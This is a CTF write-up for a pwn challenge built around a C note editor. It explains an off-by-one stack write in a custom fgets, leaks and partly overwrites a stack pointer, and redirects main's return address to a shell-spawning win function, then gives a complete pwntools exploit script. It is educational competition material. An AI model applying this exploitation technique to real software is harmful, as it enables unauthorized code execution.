The web guys always have these note apps, why not use this terminal based one instead.

Category: pwn

Solver: nh1729

Flag: GPNCTF{now_Y0u_SUr31Y_4RE_RE4dy_7o_pWN_LAdyBIRD!}

Challenge Overview

The challenge came with source C files, a compiled binary and a Dockerfile.

$ pwn checksec chall 
[*] 'chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

The challenge is an interactive note editor for a single note with basic capabilities:

  • Clear note contents,
  • read note contents,
  • append to the note,
  • edit inside a note, overwriting previous bytes,
  • truncate bytes from the end of the note.

The note lives on the stack, including its buffer. It contains its buffer pointer, the buffer size, number of written bytes and number of bytes left.

    Note note;
    char buffer[NOTE_SIZE];
    note = (Note) {
        .buffer = buffer,
        .size = sizeof(buffer),
        .pos = 0,
        .budget = sizeof(buffer)
    };

The challenge also contains a win function that spawns a shell.

Notably, it does not use the libc fgets, instead implementing its own:

char *fgets(char* s, int size, FILE *restrict stream) {
    char* cursor = s;
    for (int i = 0; i < size -1; i++) {
        int c = getc(stream);
        if (c == EOF) break;
        *(cursor++) = c;
        if (c == '\n') break;
    }
    // *cursor = '\0'; // our note is always null terminated
    return s;
}

Writeup

Skimming through the code, we found that the number of written bytes pos, available bytes budget and buffer length size are kept in sync in most operations, and we generally cannot write beyond the note buffer.

However, there is one suspicious line when editing a note:

printf("How many bytes do you want to overwrite: ");
int64_t length;
SCANLINE("%ld", &length);
if (offset <= note->pos) {
    uint32_t lookback = (note->pos - offset);
    if (length <= note->budget + lookback) {
        fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte // SUS
        ...

We can see that offset is at most note->pos and length is at most note->budget, but fgets can acutally read two more bytes! In its source, we see that it actually never writes the last byte, leaving us with a 1-byte stack overflow.

We started the challenge in pwndbg, created a note with cyclic 1022 and inspected the stack:

gdb ./chall

pwndbg> r
Starting program: /shared/CTF/2025_gpn/note-editor/chall 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the terminal note editor as a service.
Choose your action:
1. Reset note
2. View current note
3. Append line to note
4. Edit line at offset
5. Truncate note
6. Quit
3
Append something to your note (1024 bytes left):
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfa
Choose your action:
1. Reset note
2. View current note
3. Append line to note
4. Edit line at offset
5. Truncate note
6. Quit
^C
Program received signal SIGINT, Interrupt.
...
pwndbg> tele 200
...
a4:0520│     0x7fffffffda20 ◂— 'caakdaakeaakfa\n'
a5:0528│     0x7fffffffda28 ◂— 0xa61666b616165 /* 'eaakfa\n' */
a6:0530│     0x7fffffffda30 —▸ 0x7fffffffd630 ◂— 0x6161616261616161 ('aaaabaaa')
a7:0538│     0x7fffffffda38 ◂— 0x400
a8:0540│     0x7fffffffda40 ◂— 0x3ff00000001
a9:0548│     0x7fffffffda48 ◂— 0x3ffffdae0
aa:0550│     0x7fffffffda50 ◂— 1
ab:0558│     0x7fffffffda58 —▸ 0x7ffff7dd5ca8 (__libc_start_call_main+120) ◂— mov edi, eax

We see that the buffer of size 1024 is directly before the buffer pointer in the note struct. With the single byte override, we might be able to change the least significant byte of that pointer.

By increasing it, we can even gain the ability to write more bytes because the buffer size is relative to the buffer start pointer, which we are altering.

To do so, we first leak the current pointer in a pwntools script:

from pwn import *
BINARY_NAME = './chall'
def solve(r: remote, exe: ELF):
    # Fill note so we can edit it
    r.sendlineafter(b'Choose your action:', b'3')
    r.sendafter(b'Append something to your note', cyclic(1023))

    # Fill buffer completely, eliminate trailing null byte
    r.sendlineafter(b'Choose your action:', b'4')
    r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
    r.sendlineafter(b'How many bytes do you want to overwrite: ', b'3')
    r.send(b'1234')

    # Read pointer to buffer
    r.sendlineafter(b'Choose your action:', b'2')
    r.recvuntil(b'1234')
    stack_leak = int.from_bytes(r.recvline().strip(b"\n"), 'little')
    success(f'{stack_leak=:x}')

    r.interactive()

def conn():
    if args.REMOTE:
        r = remote("localhost", "443", ssl=True)
    elif args.GDB:
        gdbscript = '''
        c
        '''
        r = gdb.debug(context.binary.path, gdbscript=gdbscript)
    else:
        r = process(context.binary.path,)
    return r

def main():
    exe = ELF(BINARY_NAME)
    context.binary = exe

    r = conn()
    solve(r, exe)
    r.close()

if __name__ == '__main__':
    main()

To call the win function, we just have to write its address to the return address of main. Luckily, the binary is not PIE and the win address is static.

We first add 0x30 to the note buffer

# Override least significant byte of pointer so the end of the buffer overlaps with main return address
r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'4')
r.send(b'1234' + bytes([(stack_leak & 0xff) + 0x30]))

Now, the last 8 bytes of the note should overlap with the return address of main and can write the function pointer.

r.sendlineafter(b'Choose your action:', b'4')
r.sendlineafter(b'Give me an offset where you want to start editing:', b'1016')
r.sendlineafter(b'How many bytes do you want to overwrite: ', b'8')
r.sendline(p64(exe.sym.win))

Lastly, we need to return from main to execute win.

r.sendlineafter(b'Choose your action:', b'6')
r.sendline('cat /flag')
r.interactive()

Solve Script

Note that the script might require multiple tries because there might be an overflow when adding 0x30 to the buffer pointer, depending on stack top randomization.

from pwn import *

BINARY_NAME = './chall'

def solve(r: remote, exe: ELF):
    # Fill note so we can edit it
    r.sendlineafter(b'Choose your action:', b'3')
    r.sendafter(b'Append something to your note', cyclic(1023))

    # Fill buffer completely, eliminate trailing null byte
    r.sendlineafter(b'Choose your action:', b'4')
    r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
    r.sendlineafter(b'How many bytes do you want to overwrite: ', b'3')
    r.send(b'1234')

    # Read pointer to buffer
    r.sendlineafter(b'Choose your action:', b'2')
    r.recvuntil(b'1234')
    stack_leak = int.from_bytes(r.recvline().strip(b"\n"), 'little')
    success(f'{stack_leak=:x}')

    # Override least significant byte of pointer so the end of the buffer overlaps with main return address
    r.sendlineafter(b'Choose your action:', b'4')
    r.sendlineafter(b'Give me an offset where you want to start editing:', b'1020')
    r.sendlineafter(b'How many bytes do you want to overwrite: ', b'4')
    r.send(b'1234' + bytes([(stack_leak & 0xff) + 0x30]))

    # Write win function pointer to return address
    r.sendlineafter(b'Choose your action:', b'4')
    r.sendlineafter(b'Give me an offset where you want to start editing:', b'1016')
    r.sendlineafter(b'How many bytes do you want to overwrite: ', b'8')
    r.sendline(p64(exe.sym.win))

    # Return from main
    r.sendlineafter(b'Choose your action:', b'6')
    r.sendline('cat /flag')
    r.interactive()

def conn():
    if args.REMOTE:
        r = remote("newcourt-of-unbreakable-industry.gpn23.ctf.kitctf.de", "443", ssl=True)
    elif args.GDB:
        gdbscript = '''
        c
        '''
        r = gdb.debug(context.binary.path, gdbscript=gdbscript)
    else:
        r = process(context.binary.path,)
    return r

def main():
    exe = ELF(BINARY_NAME)
    context.binary = exe

    r = conn()
    solve(r, exe)
    r.close()

if __name__ == '__main__':
    main()

Result

GPNCTF{now_Y0u_SUr31Y_4RE_RE4dy_7o_pWN_LAdyBIRD!}

Mitigations

  • Use memory-safe languages like Rust, golang or higher level languages.
  • When you need to use C, double-check all sizes to avoid overflows.